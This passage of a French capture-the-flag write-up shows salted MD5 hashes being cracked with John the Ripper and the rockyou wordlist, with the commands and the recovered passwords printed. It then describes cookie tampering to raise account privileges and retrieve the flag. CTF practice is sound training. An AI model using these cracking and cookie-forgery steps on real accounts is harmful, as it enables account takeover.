On a donc la liste des comptes presses qui ont été ajouté dans la base de données mais sans leurs mots de passes. Et la liste des utilisateurs (excepté le 5) avec leurs email, le mot de passe qui semble hashé en MD5 et un champ postfix_hash_salt qui serait bien un salt ajouté au mot de passe avant d'être hashé. On va donc essayer de cracker les mots de passes des 4 utilisateurs que l'on a ici avec John The Ripper.
Puisqu'il y a eu un salt d'utilisé ici, on va créer notre fichier d'input avec les infos de ce salt sous le format user:hash$salt:

mike:a1a93242bea0cd80285ccfaf69ff96b1$7heF@c3b00x
laura:cb24a277e4b0c98e2d5eefbc17b2e658$7heF@c3b00x
kev:a066fcee06d941af7c0dfbdd05c4cda3$7heF@c3b00x
rachel:a8a2ddbeeff303b0694e480c32c8ae6c$7heF@c3b00x

On a tronqué les noms d'utilisateur pour ne pas s'embêter. On liste ensuite les subformats supporté par Jogn The Ripper pour trouver lequel est le mieux adapté à notre problème :

$ john --list=subformats | grep md5
Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
...

Dans les premiers on voit que le dynamic_1 pourrait correspondre, il hash avec la fonction md5(password . salt) ce qui est exactement ce que l'on souhaite. On lance donc la commande pour cracker nos mots de passes en se servant de la liste rockyou.

$ john user.txt -form=dynamic_1 --wordlist=rockyou.txt

En quelques secondes les mots de passes sont crackés et on peut les afficher avec la commande suivante

$ john --show --format=dynamic_1 user.txt
mike:Mike94
laura:XxlauraxX
kev:NarutoUzumaki
rachel:fox12345

À partir de là, on se connecte sur le site avec les emails et mots de passes que l'on a récupéré, les 3 premiers ne sont pas spécialement intéressant, seulement quelques messages échangés entre eux. Ontrouve par contre sur le compte de Rachel ce message provenant de Mark Zuckerberg en personne :

En allant vérifier le script SQL d'initialisation de la base de données qu'on avait récupérer, on se rend compte que le compte presse de Fox News à l'id 5 (qui est l'id du dernier utilisateur auquel nous n'avons pas accès). On se connecte donc avec le compte fox et le mot de passe fourni dans le message avant de changer le type de compte dans le cookie en student comme précédemment et de récupérer le flag dans les messages personnels de Mark Zuckerberg.

PHACK{1Nt3rnet_C'e7ait_m1euX_Av@nt!:(}

Liens utiles

Pleins d'informations sur comment utiliser John The Ripper

Cracking Password John The Ripper | VK9 Security
John the Ripper is a fast password cracker, currently available for many flavors of Unix, macOS, Windows, DOS, BeOS, and OpenVMS (the latter requires a contributed patch). Its primary purpose is to detect weak passwords. Read more…

Exegol, un container docker contenant plein d'outil pre packagé

ShutdownRepo/Exegol
Exegol is a fully featured and community-driven hacking environment - ShutdownRepo/Exegol